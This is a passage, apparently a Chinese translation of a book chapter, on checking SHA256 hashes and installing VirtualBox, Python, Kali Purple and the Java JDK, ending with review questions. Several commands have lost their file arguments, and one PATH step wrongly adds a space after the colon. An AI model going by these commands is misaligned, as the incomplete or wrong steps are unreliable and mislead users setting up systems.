选择SHA256 校验和链接以获取可能的哈希值列表,具体取决于您打算下载的包。虽然我们将覆盖每个 Windows、macOS 和 Linux 的最新稳定版的下载和安装过程,但我们将在此演示中使用 Windows 抓取必要的截图示例。最初虚拟机的核心吸引力之一是为 Windows 用户提供在 Windows 主机环境中运行 Linux 实例的能力。您的情况可能不同。没关系!我们将为每个三大操作系统的用户提供示例。

找到与您下载相对应的哈希值,并将其记录在某处:

图 3.6 – VirtualBox 哈希值

图 3.6 – VirtualBox 哈希值

一旦您记录了哈希值,返回到主页,并根据您的操作系统找到适当的 VirtualBox 包。它将是框内突出显示的链接之一,如图 3**.5 所示。选择您的产品,并单击开始下载。根据您使用的系统和浏览器,您可能会看到一个进度跟踪器,例如在图 3**.7 中显示的 Firefox 浏览器下载跟踪器:

图 3.7 – Firefox 浏览器的下载进度

图 3.7 – Firefox 浏览器的下载进度

此条可以告诉您下载的状态和完成时间。如果它没有自动出现,通常可以通过查看浏览器右上角的国际符号来手动调用它。这个符号以向下指的箭头为特征,并在其下方有一条直的水平线。如果没有下载符号,您可能会发现三个水平点,就像 Microsoft 的 Edge 浏览器一样,如果您点击它们,将会出现一个显示下载符号及其后面带有Downloads的菜单。或者,您可以简单地等几分钟,然后导航到我们在前一节中讨论过的Downloads文件夹,以查找 VirtualBox 可执行文件。这不是一个坏主意,因为在下载完成后,您将想要去那里获取文件的哈希值。

一旦您确信 VirtualBox(或其他虚拟化软件,针对您这些叛逆者)已经完成下载,您将希望验证下载的哈希值与您从网站记录的哈希值匹配。

注意

非常重要的是,您不要让自己受到诱惑,跳过比较和验证此或 Kali Purple 下载和安装过程中的任何其他部分的哈希值的步骤。请记住,您即将安装和配置一套非常强大的安全软件套件,其中包含非常强大的工具。

最后你希望了解的是,在下载过程中,有人能够劫持你的下载并将其替换为一个带有后门的克隆版本,让他们利用你系统的强大工具进行网络犯罪,而所有的证据都指向你!比较哈希值可以防止这种情况发生。如果包中的一位比特信息发生变化,哈希值就会不匹配。

然而,这并不意味着如果你的哈希值不匹配,就有人在针对你。最终下载的产品与原始版本不匹配有很多原因。可能只是因为某个地方的网络连接出现了问题,导致传输的数据被破坏了。

这也是检查哈希值的另一个原因。如果你尝试安装损坏的软件,任何事情都有可能发生。当然,它可能根本无法工作。它也可能在大多数情况下能够运行,但你可能会在投入大量精力配置软件后,发现一个至关重要的功能无法使用。你不希望因此而头痛不已,试图弄清楚问题出在哪里。

Windows 用户

让我们看一下 Windows 的第一种方法:

  1. 打开一个 cmd 终端窗口。

  2. 输入 cd %USERPROFILE%\Downloads

  3. 输入 dir 并查找你下载的 VirtualBox 文件。

  4. 输入 CertUtil -hashfile <****filename> SHA256

  5. 将结果与下载 VirtualBox 前记录的哈希值进行比较。

现在,让我们看一下 Windows 的第二种方法:

  1. 打开一个 PowerShell 终端窗口。

  2. 输入 cd $HOME\Downloads

  3. 输入 dir 并查找你下载的 VirtualBox 文件。

  4. 输入 Get-FileHash -Algorithm SHA256 -****Path

或者,按照以下步骤操作:

  1. 打开一个 PowerShell 终端窗口。

  2. 输入 Get-FileHash -Algorithm SHA256 -****Path C:\Users\username\Downloads<filename>

  3. 将结果与下载 VirtualBox 前记录的哈希值进行比较。

macOS 用户

让我们看一下 macOS 的步骤:

  1. 打开一个终端窗口。

  2. 输入 cd ~/Downloads

  3. 验证你是否在正确的位置:

    1. 输入 pwd 并查找 /Users/username/Downloads 文件路径。

    2. 输入 ls 并查找你下载的 VirtualBox 文件。

  4. 输入 shasum -a 256

  5. 将结果与下载 VirtualBox 前记录的哈希值进行比较。

Linux 用户

让我们看一下 Linux 的步骤:

  1. 打开一个终端窗口。

  2. 输入 Bash 打开命令行。

  3. 输入 cd ~/Downloads

  4. 验证你是否在正确的位置:

    1. 输入 pwd 并查找 /home/username/Downloads 文件路径。

    2. 输入 ls 并查找你下载的 VirtualBox 文件。

  5. 输入 sha256sum 文件路径为

  6. 将结果与下载 VirtualBox 前记录的哈希值进行比较。

现在我们已经验证了 VirtualBox 安装程序的完整性,让我们开始安装吧!无论您使用的是哪个操作系统,安装过程通常都是一样的,只是在下载过程中会有一些细微的差异,我们刚刚已经介绍了下载和启动安装的步骤。之后,整个过程在所有系统中都是相同的。

Linux VirtualBox 安装

您已经研究并确认了适合您特定 Linux 版本的下载文件。现在,您需要返回到命令行,通过 Bash 进入下载文件夹,就像您在验证哈希值时所做的那样。如果您使用的是 Linux,在此过程中,您大概已经知道,文件在执行之前需要赋予执行权限——也就是说,执行它们。由于我们已经在 Downloads 文件夹中,您可以通过键入 chmod +x 来设置这些权限,然后通过以下方式之一启动包文件:

  • Debian/Ubuntu Linux:键入 sudo ./

  • CentOS/Fedora Linux:键入 sudo dnf install ./sudo yum install ./

  • 默认:键入 sudo apt install ./

Chmod 代表 change mode,是指更改文件权限的模式。Sudo 代表 superuser do,基本上可以理解为,“像管理员给您下指令一样做这件事。”

命令行窗口会显示一长串文件正在解压并安装:

图 3.8 – Linux VirtualBox 安装

图 3.8 – Linux VirtualBox 安装

让我们继续进行 macOS VirtualBox 的安装。

macOS VirtualBox 安装

在 macOS 中确认您的文件哈希值后,执行它非常简单——甚至比 Linux 更加方便!由于您已经在 Downloads 文件夹中,您只需键入文件名并按 Enter 键即可启动安装程序。如果您不再在 Downloads 文件夹中,仍然可以通过键入 / 并按 Enter 键来执行文件。如果您是视觉型的人,喜欢通过图形界面启动安装程序,您可以按 Command + Shift + L 直接打开 downloads 文件夹,然后点击文件以启动它。

或者,您可以采取以下步骤:

  1. 打开一个新的 Finder 窗口。

  2. 点击左侧边栏中的 Downloads,它位于 Favorites 下。

  3. 查看并点击您的安装文件以启动它。

让我们继续进行 Windows VirtualBox 的安装。

Windows VirtualBox 安装

由于安装 VirtualBox 的过程几乎与操作系统无关,并且将 Linux 安装在虚拟机中的一个常见用途是运行 Windows 主机,因此我们将继续以这种方式进行剩余的操作步骤。

首先,通过点击任务栏中的图标(如果存在),在任务栏的搜索框中输入文件资源管理器,或点击开始并在开始搜索框中输入文件资源管理器来打开文件资源管理器。无论你选择哪种方式,它都会显示出来,你应该点击它,查看左侧窗格中的下载文件夹。找到你的 VirtualBox 安装文件并双击以启动安装。

你可能会收到一个弹出框,询问你是否允许该程序对你的设备进行更改。虽然这听起来可能让你感到害怕和有风险,但这是必要的。如果不允许 VirtualBox 对你的设备进行更改,它无法正确安装和运行。因此,选择并点击

在你允许它对设备进行更改后,安装向导将会出现:

图 3.9 – Oracle VirtualBox 安装向导

图 3.9 – Oracle VirtualBox 安装向导

根据你阅读本文的时间,介绍安装向导的弹出框可能会显示不同版本号的 VirtualBox。这表明安装程序已更新版本,没问题!安装过程应该与之前一样正常。选择下一步 >,将呈现自定义设置选项。为了培训和学习目的,我们将接受默认推荐设置。选择下一步 >

经验丰富的用户可以选择自定义安装选项:

图 3.10 – VirtualBox 自定义安装选项菜单

图 3.10 – VirtualBox 自定义安装选项菜单

你可能会看到如图 3.11所示的某个警告,甚至是两个警告。如果是这样,请记住,这些只是警告,而不是错误。它们是常见的警告,不必过于担心。

网络接口警告意味着 VirtualBox 安装程序检测到与你的物理网络通信硬件相关的潜在冲突。如果安装程序发现有现有应用程序使用与 VirtualBox 打算使用的互联网协议IP)或媒体访问控制MAC)地址相同的地址,就会触发这个警告。在几乎所有情况下,这很可能是另一种类型的虚拟化软件。

虽然解决这些问题很重要,但这并不意味着你需要删除或卸载软件。你只需确保它被禁用,并且在你使用 VirtualBox 时不与其同时运行。为了继续安装,你需要确保任何当前的在线会话、虚拟机(VM)或虚拟专用网络VPN)都已断开连接。记得保存好这些服务的登录凭据,并将它们记录在某个地方,因为大多数这些服务都是设置为自动运行和自动登录的。人们往往会忘记这些凭据。

缺失依赖项 Python 核心 错误意味着 VirtualBox 无法在系统上找到 Python 解释器。VirtualBox 依赖于 Python 来完成多个任务,例如运行脚本、管理虚拟机配置以及与 VirtualBox 应用程序编程接口 (API) 交互。要解决此错误,我们需要首先确认系统上是否已安装 Python,如果没有,则需要下载它。接下来,我们需要确保 Python 可执行文件已包含在系统的 PATH 环境变量中。由于修改 PATH 变量通常需要重启系统,因此我们将在本节末尾提供这些说明,以便你能够不中断地继续 VirtualBox 的安装。

即使看到这些错误,只要你记得在运行 VirtualBox 之前解决它们,点击跳过也是可以的:

图 3.11 – 常见的 VirtualBox 安装错误

图 3.11 – 常见的 VirtualBox 安装错误

为了解决此错误,首先查看 Python 如果安装在默认位置时的默认位置。

在 Windows 中,像你找到 VirtualBox 安装程序一样打开 文件资源管理器,但这次不是进入 下载 文件夹,而是查找 C:\Python 文件夹,其中 代表一个版本号,比如 3.9。这表示安装的 Python 版本。如果看不到 Python 文件夹,只需在搜索栏中输入 Python,或者进入 开始 菜单并在该搜索栏中输入 Python。自动完成功能应该会告诉你 Python 是否已安装。

对于 macOS,导航到 /Library/Frameworks/Python.framework/Versions//bin 位置 —— 再次强调, 代表一个数字值。如果没有找到文件,你可以点击菜单栏右上角的放大镜图标,或者按 Command + Spacebar 打开 Spotlight 应用程序。在出现的搜索框中输入 Python

在 Linux 中,你很可能会在 /usr/bin/python/usr/local/bin/python 目录下找到 Python 安装。

对于 macOS 和 Linux,你也可以打开命令终端并输入 find / -name Python -print*,其中星号代表通配符。该命令会搜索所有以 Python 开头并且其后跟随任何值的文件:

图 3.12 – 最新的 Python 版本

图 3.12 – 最新的 Python 版本

如果在系统上找不到 Python,你需要下载它。打开浏览器窗口,访问www.python.org/,然后向下滚动,直到看到下载部分。选择最新版本进入下载页面。在下一页,滚动到底部,找到你需要的操作系统版本并记录相应的 MD5 哈希值。然后,下载并安装该产品到前面提到的默认位置。像 Kali Purple 和 VirtualBox 一样验证哈希值,继续此过程直到 Python 完全安装。你可能需要在此过程中中止 VirtualBox 安装并重新启动。

查找你的哈希值,记录下来,然后像安装 Kali Purple 和 VirtualBox 那样下载并安装 Python:

图 3.13 – Python 操作系统下载选项

图 3.13 – Python 操作系统下载选项

一旦你找到了 Python 可执行文件的路径,无论是从系统中找到还是重新下载,都需要修改 PATH 环境变量。如果你下载了 Python,下载时会提供一个选项,自动为你设置 PATH 变量!下载并重启后回顾步骤,验证是否已经完成。如果出于某种原因,自动添加 PATH 变量未成功,按照以下说明进行操作。

在 Windows 中设置环境 PATH 变量

根据你的操作系统版本,某些项可能不会完全按照这里描述的显示。但请放心,它们仍然存在。你可能需要在显示屏上搜索它们。事件的顺序是一样的:

  1. 开始菜单中,右键点击计算机 | 此电脑系统,选择属性

  2. 点击左侧的高级系统设置或在设备规格下。

  3. 选择高级选项卡,点击环境变量

  4. 系统变量下,选择Path,然后点击编辑

  5. 选择新建,然后添加 Python 可执行文件的路径。

  6. 点击确定,然后重启系统。

  7. 返回到你的 VirtualBox 安装。

在 macOS 或 Linux 中设置环境 PATH 变量

macOS 和 Linux 通常共享以下设置环境变量的指令:

  1. 打开一个终端窗口,调用 Bash 或 Zsh。

  2. 如果你使用的是 Bash,输入~/.bashrc,如果是 Zsh,输入~/.zshrc以打开配置文件。

  3. 查找PATH环境变量——它以export PATH=开头,并添加一个冒号。

  4. 在冒号后添加一个空格,然后输入 Python 可执行文件的路径(/path/to/python)。

  5. 保存文件并退出文本编辑器。

  6. 输入source <configuration_file>以应用更改到当前的终端会话。

  7. 重启系统以使更改生效。

  8. 返回到你的 VirtualBox 安装。

现在我们已经消除了潜在的通信冲突,安装了 Python 并配置了环境 PATH 变量,我们可以返回到 VirtualBox 的安装过程并重新启动安装。在通过了自定义设置窗口后,我们现在看到最后一个选项。只需点击 安装 按钮,安装向导将开始执行它的魔法并开始安装,如 图 3.14 所示。安装完成后,确保选中 安装后启动 Oracle VM VirtualBox <版本号> 复选框。然后,选择 完成 以执行此操作:

图 3.14 – 开始并完成安装 VirtualBox 的机械过程

图 3.14 – 开始并完成安装 VirtualBox 的机械过程

一旦 VirtualBox 安装完成,我们需要运行它,以便为我们的 Kali Purple 实例建立一个特定的虚拟机。首先,让我们记录设备的总内存、磁盘空间和处理器核心数。在 Windows 中,在搜索栏中输入 msinfo32 并选择 系统信息。在 macOS 中,点击桌面左上角的 Apple 菜单,从下拉菜单中选择 关于本机。在各个标签页之间切换,获取所需的信息。像往常一样,Linux 也有它的独特方式。只需打开一个终端窗口并输入 hwinfo 获取内存、存储和 CPU 信息。你还可以输入 df -h 获取详细的存储信息,free -h 获取详细的内存信息,lscpu 获取详细的 CPU 信息。

收集完数据后,像启动其他应用程序一样启动 VirtualBox。要添加一个新的虚拟机,我们将点击 新建 按钮。除非你已经在机器上有一个以 .vbox 为文件扩展名的虚拟机文件,该文件是通过之前的 VirtualBox 安装或其他虚拟化软件创建的,否则不要点击 添加 按钮。我们是从头开始。所以,我们将点击 新建 按钮。

选择 新建 按钮来创建一个新的虚拟机,或选择 添加 按钮来添加一个现有的虚拟机:

图 3.15 – VirtualBox 欢迎界面

图 3.15 – VirtualBox 欢迎界面

创建虚拟机 窗口中,为虚拟机输入名称,并使用下拉箭头选择你在本章开始时下载的 Kali Purple .iso 文件的路径。完成后,选择 下一步。操作项如 图 3.16 所示:

图 3.16 – 创建新虚拟机的操作项

图 3.16 – 创建新虚拟机的操作项

请记住你之前记录的数值,确定要为此虚拟机保留的 RAM、处理器数量和磁盘存储空间。理解你的主机设备仍然需要一些这些资源来完成其工作。因此,选择你记录的最大值可能会导致性能问题和/或 Kali Purple 安装错误。至少,选择 2 GB 的 RAM,1 个处理器和 20 GB 的磁盘存储。当完成后,在每个屏幕上选择下一步

根据你从设备上记录的数字,分配足够但不过多的资源:

图 3.17 – 为新虚拟机分配资源

图 3.17 – 为新虚拟机分配资源

VirtualBox 将最终确定你的新虚拟机设置,并呈现一个总结屏幕供你检查,如图 3.18所示。确保屏幕反映了你选择的设置,然后选择完成返回大厅屏幕:

图 3.18 – 为最终用户验收呈现的虚拟机总结屏幕

图 3.18 – 为最终用户验收呈现的虚拟机总结屏幕

一旦我们同意并接受最终细节,安装程序将完成其任务并返回到 VirtualBox 大厅,此时我们将看到新创建的虚拟机出现在左侧栏中。Kali Purple 还没有安装。我们将虚拟机命名为Kali Purple,所以我们知道在首次安装操作系统后,点击启动按钮时操作系统将会加载:

图 3.19 – 显示新虚拟机可用的虚拟机大厅屏幕

图 3.19 – 显示新虚拟机可用的虚拟机大厅屏幕

我们将在下一个部分开始这一过程。

安装 Kali Purple

在我们准备好进行全面的 Kali Purple 实践学习体验时,我们需要考虑潜在需求的全范围。你已经看到有适用于 Windows、Linux 和 Mac 的 Kali Linux 版本。如果你已经跳过这一部分,因为你已经安装了其中的一些,你应该知道 Purple 框架也可以作为选项添加到现有的 Kali Linux 安装中。对于许多阅读本文的人来说,正是这种情况。

我们使用 VirtualBox 为每种场景安装 Kali Purple,以便在另一个 Linux 主机操作系统中使用,但如果主机操作系统本身就是 Kali Linux 呢?这在计算机领域被称为裸机安装,在这种情况下不需要虚拟机。当然,你也可以安装虚拟化软件,在现有主机上添加虚拟机安装 Kali,但如果 Kali 是你的底层系统并且你对它很熟悉,你可以直接将 Purple 添加到现有的 Kali Linux 主机中。

通过在命令行中打开一个 Bash 会话并输入sudo apt-get install purple-protocol-plugins来完成此操作。运行该命令后,apt-get 包管理器(这是大多数基于 Debian 的 Linux 系统原生支持的,如 Kali、Ubuntu 和 Mint)将安装所有必要的包和 Purple 所需的插件,从而将你的裸机操作系统转变为一个完整的 Kali Purple 环境。

对于我们这些普通用户,我们将通过上一节中创建的 VirtualBox 虚拟机来安装 Kali Purple。如果你还没有打开上一节中的 VirtualBox 实例,那么像启动任何其他应用程序一样启动软件,并选择启动按钮(如图 3.19所示)。当你这样做时,你会短暂看到一个 VirtualBox 图形界面,然后进入你可以在图 3.20右侧看到的 Kali Linux 安装屏幕。

使用键盘上的箭头键选择图形安装并按Enter键:

图 3.20 – 启动 Kali Purple Linux 安装

图 3.20 – 启动 Kali Purple Linux 安装

在这里,你必须使用键盘上的箭头键选择图形安装,因为你现在是在虚拟机中,点击虚拟机内部会弹出一个信息性警告,提示你点击虚拟机内可能会捕获主机的鼠标指针和键盘,从而使它们对主机不可用。你可以在图 3.20的右上角看到我们的键盘已被自动捕获。这样很好,它允许你使用箭头键并按Enter开始图形化安装,接下来你就应该这样做。

你可能会遇到类似于图 3.21所示的挂载警告。如果你收到此警告,请确保所有硬件和驱动程序都是最新的。你不需要停止安装。事实上,有时安装过程本身会在一切完成之前解决此类错误。然而,一旦安装完成,你需要确保/media目录存在,可以尝试查找或导航到它。如果没有,你可以通过简单地输入sudo mkdir /media来创建它。这是一种可能性较多的情况。因此,如果这两种方法都未能解决问题,你需要戴上分析师的帽子,利用你最喜欢的搜索引擎帮助缩小问题的范围。大多数情况下,这些警告不会妨碍你成功操作 Kali Purple,因为它们只是信息性提示,而不是实际的错误:

图 3.21 – 启动 Kali Purple Linux 安装

图 3.21 – 启动 Kali Purple Linux 安装

安装过程将在后台继续进行,直到暂停并要求您输入自定义信息。首先,它会询问您希望以哪种语言进行安装,然后它会询问您所在的国家,以帮助缩小时区范围,稍后会进一步细化。注意右侧栏上的半透明覆盖层。您可以简单地调整安装窗口的大小,使其足够大以消除该覆盖层,然后在您做出选择后,点击每个屏幕右下角的继续按钮。

选择您的默认语言和国家,以便安装根据您的需求进行自定义:

图 3.22 – 启动 Kali Purple Linux 安装

图 3.22 – 启动 Kali Purple Linux 安装

下一屏幕将再次要求您选择语言,但如果您仔细观察,您会发现这次它要求选择您希望键盘配置的语言。

选择键盘语言。Kali Purple 在安装过程中通过每个步骤提供状态栏:

图 3.23 – 键盘语言和 Purple 安装指标

图 3.23 – 键盘语言和 Purple 安装指标

在完成几个挂载和安装后,Kali Purple 会要求您帮助完成网络配置的最终步骤。首先,为您的新系统输入一个主机名。确保在选择名称时,名称不超过 63 个字符,并且只使用字母数字字符、数字 0 到 9 或减号(减号不能是第一个或最后一个字符)。减号是唯一允许的特殊字符。您不能使用下划线或空格。如果不严格遵守此命名规则,安装程序会抛出错误,并要求您继续选择可能的主机名,直到符合要求。完成后,点击继续

图 3.24 – 选择主机名

图 3.24 – 选择主机名

下一步是配置域名。这与主机名不同。主机名在 Kali Linux 中表示时,标识的是您的特定设备。此步骤完全是可选的,目的是帮助在您的网络或通过域名系统DNS)服务器进一步识别系统。我们在《Kali Purple 简介》中没有相关计划,因此您可以选择留空或输入一个随机值,例如.purple,然后点击继续

图 3.25 – 选择域名

图 3.25 – 选择域名

接下来的两个屏幕将要求您输入姓名和用户名。第一个屏幕要求输入您的真实姓名,该姓名将用于显示您的身份信息。第二个屏幕要求您为账户设置用户名。因为此安装仅用于培训目的,并不会在商业环境中使用,我们将使用作者的姓氏和名字,全部小写且没有空格。每个屏幕后选择继续

设置您的真实姓名以供系统显示,并为您的非管理员账户选择一个用户名:

图 3.26 – 设置您的真实姓名和用户名

图 3.26 – 设置您的真实姓名和用户名

在设置用户名的同时,也要设置密码。让我们为非管理员账户设置一个密码。长密码是抵御自动破解密码工具的最佳天然武器。密码可以是整句短语。例如,KarlLaneIsAnIncrediblyTerribleChef 将是一个极好的密码,它因为长度很难破解,而且容易记住,除非它在本书中被打印出来。当然,也可以使用无特殊符号的多词组合,如RockLasagnaPlastic。如果您曾尝试过 Karl 的千层面,您或许认为这三个词确实有某种关系,甚至出于同情想为他买一本 Packt 出版社的食谱书。

由于这是一个用于反复安装和卸载的培训安装,目的是测试您可能遇到的各种条件,我们保持了密码相对简短,因为整个过程本身是暂时的(仅限我们这端;您应保持您的安装)。当您对密码满意时,点击继续

为您的非管理员账户设置一个强密码:

图 3.27 – 设置和确认密码

图 3.27 – 设置和确认密码

您选择的国家或地区附近的时区示例可以用来设置虚拟机的时钟,如图 3.28所示。点击继续以观察 Kali Purple 开始格式化虚拟机的磁盘空间:

图 3.28 – 选择您的时区并观察 Kali Purple 格式化虚拟机驱动器

图 3.28 – 选择您的时区并观察 Kali Purple 格式化虚拟机驱动器

为了完成磁盘分区过程,安装程序将询问您是否希望选择几种引导式分区选项之一,或者是否想手动进行。您了解自己的技术水平,但由于这是 Kali Purple 的介绍教程,我们将选择引导式 - 使用整个 磁盘选项

引导意味着安装程序将使用预定义的标准分区方案,而不是让你自己配置它。使用整个磁盘部分是指虚拟机所看到的磁盘。所以,换句话说,这不是你主机设备的整个磁盘,而是已为虚拟机分配的整个磁盘。根据你阅读这篇文章的时间和最新发布的.iso文件版本,你可能仍然需要手动选择分区样式。由于我们无法预测未来,你的操作将取决于你自己的技术能力。如果你对操作系统或硬件不太熟悉,这没关系!有很多技术达人并不擅长某些技术领域。只需打开你最喜欢的搜索引擎,搜索Kali Purple <你的 .iso 版本> 默认分区样式。你会发现这个社区非常乐意帮助别人享受 Kali Purple,我们都乐意确保每个人都能轻松设置产品。

LVM代表逻辑卷管理。这是一种磁盘管理技术,比传统的磁盘分区提供了更大的灵活性和更多的高级功能。逻辑磁盘分区或卷可以调整大小和移动,这使得将来管理存储空间变得更加容易。这些高级的磁盘分区策略超出了本书的范围,也不需要使用。当你准备好继续时,点击继续

图 3.29 – 时区选择和安装程序格式化状态栏

图 3.29 – 时区选择和安装程序格式化状态栏

现在,到了处理GRand Unified BootloaderGRUB)的时候了。它是许多 Linux 发行版的默认引导加载程序,包括 Kali。据报道,在2024.1 .iso版本中,此步骤可能不会出现。如果是这样,也不必担心,继续进行安装过程的其余部分即可。GRUB 负责将操作系统内核——也就是系统的核心或引擎——加载到内存中,并在启动过程中初始化系统(通常称为启动)。

当首次显示 安装 GRUB 启动加载程序 屏幕时,第二段中可能会引起你注意的警告之一是,它表示如果你的计算机已经安装了另一个操作系统,而安装程序未能检测到它,继续此安装将导致该操作系统暂时无法启动。这里需要考虑的重要一点是,你是在虚拟机中操作。因此,就 GRUB 启动加载程序安装程序而言,宿主操作系统并不存在。它只引用它所能看到的内容,而它只能看到虚拟机内的内容。你的宿主机不会受到任何影响。因此,可以放心继续。选择 单选框,然后点击 继续 完成 GRUB 启动加载程序的安装:

图 3.30 – GRUB 启动加载程序安装

图 3.30 – GRUB 启动加载程序安装

安装程序会要求你确认 GRUB 启动加载程序安装的位置。它将提供手动输入位置或选择预定的虚拟机驱动器选项。我们不需要自定义位置。所以,选择提供的选项并点击 继续 完成过程:

图 3.31 – GRUB 启动加载程序安装

图 3.31 – GRUB 启动加载程序安装

安装程序应该提供我们在整个 Kali Purple 安装过程中一直看到的状态栏,显示 GRUB 正在安装。当完成时,你将看到最后一个操作项,提示你移除任何可能被 VirtualBox 用来获取 Kali Purple .iso 文件的媒体设备,如外部硬盘或 USB 驱动器。在这个示例中,我们直接链接到了 Windows 下载 文件夹中的 .iso 文件。一旦你满足了移除任何物理安装媒体的要求,点击 继续,即可首次启动你的新 Kali Purple 操作系统。

你可能会在某个阶段被要求选择你想要包含的软件包。我们建议选择属于任何核心 国家标准与技术研究院NIST)领域的内容,识别保护检测响应恢复。有一个第六个 NIST 领域;它仅在 2024 年 2 月被添加到此软件列表中 – 治理 更加面向高级管理层。我们将在 第十一章 中了解一些相关内容。

观察 GRUB 状态栏,当你准备好首次启动操作系统时,选择 继续

图 3.32 – Kali Purple 安装过程中的最后一个操作项

图 3.32 – Kali Purple 安装过程中的最后一个操作项

安装程序将进行最后一轮后台清理工作,然后向安装程序发送信号,表明安装已经完成。因此,安装程序应终止其活动,并直接引导我们进入 Kali Purple 启动菜单:

图 3.33 – 一些最后的清理工作和终止命令已发送

图 3.33 – 一些最后的清理工作和终止命令已发送

Kali Linux 会在询问你之前创建的用户名和密码之前加载启动菜单,如 图 3.34 所示。输入你的用户名和密码。然后,点击 登录

图 3.34 – Kali Purple 启动菜单和登录页面

图 3.34 – Kali Purple 启动菜单和登录页面

现在,真相时刻到来了。请为我打个鼓……

如果你看到此屏幕,说明你已成功到达 Kali Purple 桌面,并且安装成功:

图 3.35 – Kali Purple 桌面

图 3.35 – Kali Purple 桌面

到目前为止,我们已经带你完成了几个应用程序的下载和安装活动,才到达了这一点。我们按照最合逻辑的顺序展示了这些活动。例如,很多人可能早就安装了 Python,因此让大家一开始就安装 Python 是没有意义的。我们选择先下载 Kali Purple .iso 文件再下载 VirtualBox,因为 VirtualBox 的配置需要先有 .iso 文件的位置,这样它才能为其配置虚拟机。然后,终于迎来了最重要的步骤——Kali Purple 的安装和配置。

然而,我们还没有完全完成下载和配置 Purple 所需的技术。还有一个关键组件是运行成功的 Purple 实例所必需的,即 Java SDK。我们之所以把这个项目留到最后,是因为安装我们的虚拟机或 Kali Purple 时不需要它。然而,许多软件应用程序(包括我们将在 Purple 环境中使用的应用程序)强烈依赖它。

在下一节中,我们将通过获取和安装 Java 语言支持来处理我们的新操作系统安装。接下来,我们将在 Kali Purple 环境中继续进行本书的所有操作。从现在起,所有的下载和安装都将在 Kali Purple 中完成。所以,请随时准备好你的非管理员帐户凭据。

安装 Java SDK

这使我们进入了最后的准备工作——获取和安装 Java SDK。我们将通过下载并安装 Java SDK 来完成这一过程。有时,你会看到它简单地呈现为 Java 开发工具包JDK)。它们是同一个东西。Kali Linux 中的某些应用程序需要 JDK 才能正常运行,例如 Burp Suite、Metasploit 和 Zap 攻击 代理ZAP)。

如果你还没有从上一节登录到 Kali Purple,请打开 VirtualBox 应用程序,选择你为 Kali Purple 创建的虚拟机,然后点击启动按钮启动操作系统。在提示时,输入你的凭证并点击登录,这将把你带回到 Purple 桌面。现在你已经进入 Kali Linux,接下来的步骤将变得更加简单。除非你希望在主机上下载 JDK,否则无需再浏览这篇文本,挑选出与你的主机操作系统相关的部分。然而,我们正在为 Kali Purple 下载 JDK,因此我们可以在 Kali Purple 内完成整个操作。点击屏幕左上方的小黑框(如图 3.36所示的方框)打开终端:

图 3.36 – 打开命令终端

图 3.36 – 打开命令终端

一旦终端窗口打开,你将看到类似前面截图中的命令提示符。从现在开始,我们将使用高级包管理工具APT)来下载和安装软件包。这个工具非常强大且高效!在大多数情况下,你将不再需要手动检查下载文件的哈希值。APT 设计来自动为你处理这些包的真实性和完整性。实际上,它将为你自动执行文件验证。事实上,APT 会在包验证时更进一步,它会使用多种加密签名和哈希检查来验证包的完整性。它不仅会为你评估校验和,还会通过称为GNU 隐私保护GPG)密钥来验证包的真实性。所有这些默认情况下都会在后台完成,每次你调用 APT 命令时都会自动执行。

安装 JDK,请按照以下步骤操作:

  1. 输入sudo apt update

  2. 如果系统提示,输入你之前创建的密码。

  3. 等待可用更新列表完成并且命令提示符重新显示出来。

  4. 输入sudo apt upgrade来安装更新。

  5. 在提示时输入YYes

  6. 输入sudo apt install default-jdk

  7. 在提示时输入YYes

  8. 等待下载完成。

  9. 输入javac -version以确认成功并查看结果。

就这样!如果最后的命令有任何结果输出,这意味着你的下载和安装成功了,而且相比本章开始时的操作,整个过程可能只用了几秒钟。

总结

在本章中,我们准备了宿主设备和技术,以提供沉浸式的 Kali Purple 体验。在此过程中,我们回顾了用户在应对组装和安装 Kali Purple 实例所需的所有组成部分的复杂性时,最常遇到的一些错误。通过提供解决方案以及全面的提示,我们提升了网络安全分析师的技能,以帮助应对那些极其罕见的情况。

请记住,作为一名真正的网络安全分析师,你需要学会解决未知的问题。虽然我们已经讨论了一些设置 Kali Purple 环境时最常见的问题,但涵盖所有问题是不切实际的,因为所有问题都是未知的!分析师需要具备的一项最重要的技能是学会如何学习。希望你在本章中获得了一些宝贵的见解,帮助你在这一领域感受到一些成就感。

我们将在第四章中继续这些课程,届时我们将开始安装、配置和测试 ELK 堆栈的组件。我们将为最终构建在自建 SOC 环境中的 SIEM 工具集奠定基础。

问题

  1. 什么是哈希值?

    1. 一道包含咸牛肉和切丁土豆的早餐菜肴。

    2. 用来衡量你恶心感的指标

    3. 一个固定长度的单向数学加密结果。

    4. 一个变长的单向数学加密结果。

  2. 为什么我们在配置 VirtualBox 之前需要下载 Kali Purple 的.iso文件?

    1. VirtualBox 依赖于 Kali Purple 来运行。

    2. 配置完新虚拟机后,VirtualBox 可以立即安装 Kali Purple。

    3. 一旦安装,VirtualBox 将出于安全目的阻止所有外部下载。

  3. Kali Purple 需要 Java SDK。对还是错?

    1. 这是正确的——它是保持操作系统功能正常的一个重要组成部分。

    2. 这是错误的——它不是必需的,但 Kali Purple 中的许多应用在没有它的情况下将无法正常运行。

    3. 这是正确的——这不是一个必要的应用,但 Kali Purple 的创建者希望提供它,以防将来有一天它被认为是必需的。

    4. 这是错误的——它不是必需的,但 Kali Purple 中的每个应用都需要它才能运行。

  4. 我们应该为任何新虚拟机分配多少内存、CPU 和磁盘空间?

    1. 宿主机总值的约 10%。

    2. 宿主机所有值的总和;我们需要每一份可以获取的电力和存储!

    3. 我们打算运行的应用程序的推荐值,前提是它们不会超过我们合理可用的资源。

    4. 我们打算运行的应用程序所需的最低规格,以保留资源用于未来宿主机的操作。

  5. 使用 APT 时,我们不再需要检查哈希值。对还是错?

    1. 一般来说,这是正确的。

    2. 这是错误的——我们总是需要检查哈希值。

    3. 这始终完全正确。

  6. 在虚拟机的大厅中,选择NewAdd有什么区别?

    1. 没什么不同——它们是一样的。

    2. 新建创建一个新的虚拟机,而添加将两个或更多虚拟机合并在一起。

    3. 添加将查找一个.vBox文件或其他兼容文件,并基于该文件创建一个虚拟机(VM)。

    4. 它们都会创建一个新的虚拟机,但选择新建会告诉 VirtualBox 你是一个新用户,需要一个教程引导。

进一步阅读

第四章:配置 ELK 堆栈

在上一章,你学习了如何在设备上安装 Kali Linux —— 这只是 Kali Purple 工具集的一半。本章将帮助你掌握另一半,即 ELK 堆栈。现在 Kali Linux 已经安装完毕,你将使用命令行来安装和配置 Elasticsearch、Logstash 和 Kibana,确保你可以开始开发一个功能完善、强大的 Purple 网络安全系统。

注意

